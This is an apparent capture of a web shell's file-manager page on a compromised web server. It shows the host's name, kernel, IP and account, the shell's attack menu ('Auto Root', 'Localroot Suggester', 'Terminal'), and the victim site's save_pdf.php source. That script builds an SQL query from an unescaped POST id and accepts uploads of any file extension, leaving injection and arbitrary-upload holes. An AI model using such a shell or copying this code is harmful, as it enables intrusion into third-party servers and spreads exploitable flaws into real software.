Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.6
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
admin /
order /
insert /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2025-09-01 07:26
bio_totto.php
1.39
KB
-rw-r--r--
2024-10-25 17:12
cancel_order.php
4.18
KB
-rw-r--r--
2024-10-28 09:26
error_log
1.22
KB
-rw-r--r--
2025-08-11 13:42
place_bio_order.php
502
B
-rw-r--r--
2024-10-25 15:16
received_order.php
1.18
KB
-rw-r--r--
2024-10-25 16:36
save_pdf.php
2.73
KB
-rw-r--r--
2024-10-28 09:09
Save
Rename
<?php header('Content-Type: application/json'); include_once("../../includes/configuration.php"); if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['id']) && isset($_FILES['pdfFile'])) { $orderId = $_POST['id']; $uploadDir = __DIR__ . '../../../../pdf/'; // Ensure this path is correct and writable $fileTmpPath = $_FILES['pdfFile']['tmp_name']; // Generate a unique random file name $randomString = bin2hex(random_bytes(8)); // 16 characters $fileExtension = pathinfo($_FILES['pdfFile']['name'], PATHINFO_EXTENSION); $fileName = $randomString . '.' . $fileExtension; // Unique file name $insertFile = 'pdf/' . $fileName; // Path for database insertion $destinationPath = $uploadDir . $fileName; // Complete destination path // Attempt to move the uploaded file to the destination folder if (move_uploaded_file($fileTmpPath, $destinationPath)) { // Update the database with the file path and status $query = "UPDATE order_list SET file_one='$insertFile', status='success', complete_time=NOW() WHERE id='$orderId'"; if ($conn->query($query) === TRUE) { echo json_encode(['status' => 'success', 'message' => 'File uploaded successfully!', 'fileName' => $fileName]); } else { // Handle potential database update errors echo json_encode(['status' => 'error', 'message' => 'Database update failed: ' . $conn->error]); } } else { // Debugging potential issues with file upload $errorMessage = 'Failed to move uploaded file. '; // Check if the directory is writable if (!is_writable($uploadDir)) { $errorMessage .= 'Upload directory is not writable. '; } // Check if the temporary file exists elseif (!file_exists($fileTmpPath)) { $errorMessage .= 'Temporary file is missing. '; } // Add more details about the file and directory $errorMessage .= 'Directory: ' . $uploadDir . '. '; $errorMessage .= 'Temp file: ' . $fileTmpPath . '. '; if (file_exists($fileTmpPath)) { $errorMessage .= 'Temp file size: ' . filesize($fileTmpPath) . '. '; } else { $errorMessage .= 'Temp file does not exist. '; } echo json_encode(['status' => 'error', 'message' => $errorMessage]); } } else { echo json_encode(['status' => 'error', 'message' => 'No file uploaded or there was an error.']); } } else { echo json_encode(['status' => 'error', 'message' => 'Invalid request method.']); }